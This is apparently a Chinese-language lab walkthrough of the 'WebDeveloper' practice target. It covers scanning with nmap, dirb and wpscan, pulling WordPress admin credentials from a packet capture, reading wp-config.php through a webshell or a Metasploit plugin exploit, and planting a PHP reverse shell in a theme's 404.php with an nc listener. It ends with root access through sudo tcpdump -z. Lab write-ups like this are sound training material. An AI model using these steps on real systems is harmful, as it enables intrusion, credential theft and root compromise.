WebDeveloper靶场练习
WebDeveloper靶场练习
发现目标 (netdiscover),找到WebDeveloper的IP地址
靶机ip为192.168.222.138
利用NMAP扫描目标主机,发现目标主机端口开放、服务情况
1 | nmap -A -sV --min-parallelism 200 192.168.222.138 |
开放20与80端口,提供ssh服务以及http服务
目标主机提供了HTTP服务,尝试利用浏览器访问目标网站
访问网站,发现该网站是用worldpress来搭的
利用whatweb探测目标网站使用的CMS模板
使用的CMS是wordpress
网络搜索wpscan,简要说明其功能
wpscan功能:
WPScan 可以检查以下东西:
安装的 WordPress 版本和任何相关的漏洞
安装了哪些插件以及任何相关的漏洞
安装了哪些主题以及任何相关的漏洞
用户名枚举
通过密码暴力破解使用弱密码的用户
备份和可公开访问的 wp-config.php 文件
可公开访问的数据库转储
如果插件暴露了错误日志
媒体文件枚举
易受攻击的 Timthumb 文件
如果存在 WordPress 自述文件
如果启用了 WP-Cron
如果启用了用户注册
全路径披露
上传目录列表
使用 Dirb 爆破网站目录
1 | dirb http://192.168.222.138/ |
浏览器访问该目录,发现cap文件
发现analyze.cap利用wireshark打开
利用Wireshark分析该数据包,分析TCP数据流
1 | http.request.method==POST |
进一步追踪TCP流,获取后台登录账号密码
log:webdeveloper
pwd:Te5eQg&4sBS!Yr$)wf%(DcAd
利用上一步得到的信息进入网站后台
(网站管理员账号与操作系统账号是不同概念)
访问网站后台
1 | http://192.168.222.138/wp-login.php |
获取配置文件中数据库账号密码
方法一:利用文件管理插件(File manager)漏洞
安装该插件,直接可以浏览wp-config.php。
直接查看网站配置文件
获取数据库的账号密码
方法二:通过文件上传木马,也可查看配置信息
在此处上穿木马
通过蚁剑进行连接
方法三:利用MeterSploit插件+reflex gallery插件漏洞实现
1 | search reflex gallery |
使用第7个漏洞
1 | use 7 |
1 | cd var/www/html |
1 | cat wp-config.php |
获取账号密码成功
方法四:上传反弹shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。
功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】
该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。
下载php文件,将该文件内容复制到twenty fifteen 404.php
监听4444端口
1 | nc -lnvp 4444 |
将ip改成kali的ip,将端口改成4444
访问网站
1 | http://192.168.222.138/wp-content/themes/twentyfifteen/404.php |
查看kali中nc监听,发现反弹shell成功
1 | cd var/www/html |
SSH登录服务器
尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。
用户名:webdeveloper
密码:MasterOfTheUniverse
1 | ssh webdeveloper@192.168.222.138 |
输入密码即可
ssh连接成功
1、尝试查看/root/flag.txt 以下操作得到的结果截图替代以下截图。
尝试直接查看flag.txt,均不可查看
使用tcpdump执行任意命令
查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令
创建攻击文件
1 | touch /tmp/exploit1 |
写入shellcode
1 | echo 'cat /root/flag.txt' > /tmp/exploit |
赋予可执行权限
1 | chmod +x /tmp/exploit |
利用tcpdump执行任意命令
1 | sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root |
成功获得flag
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量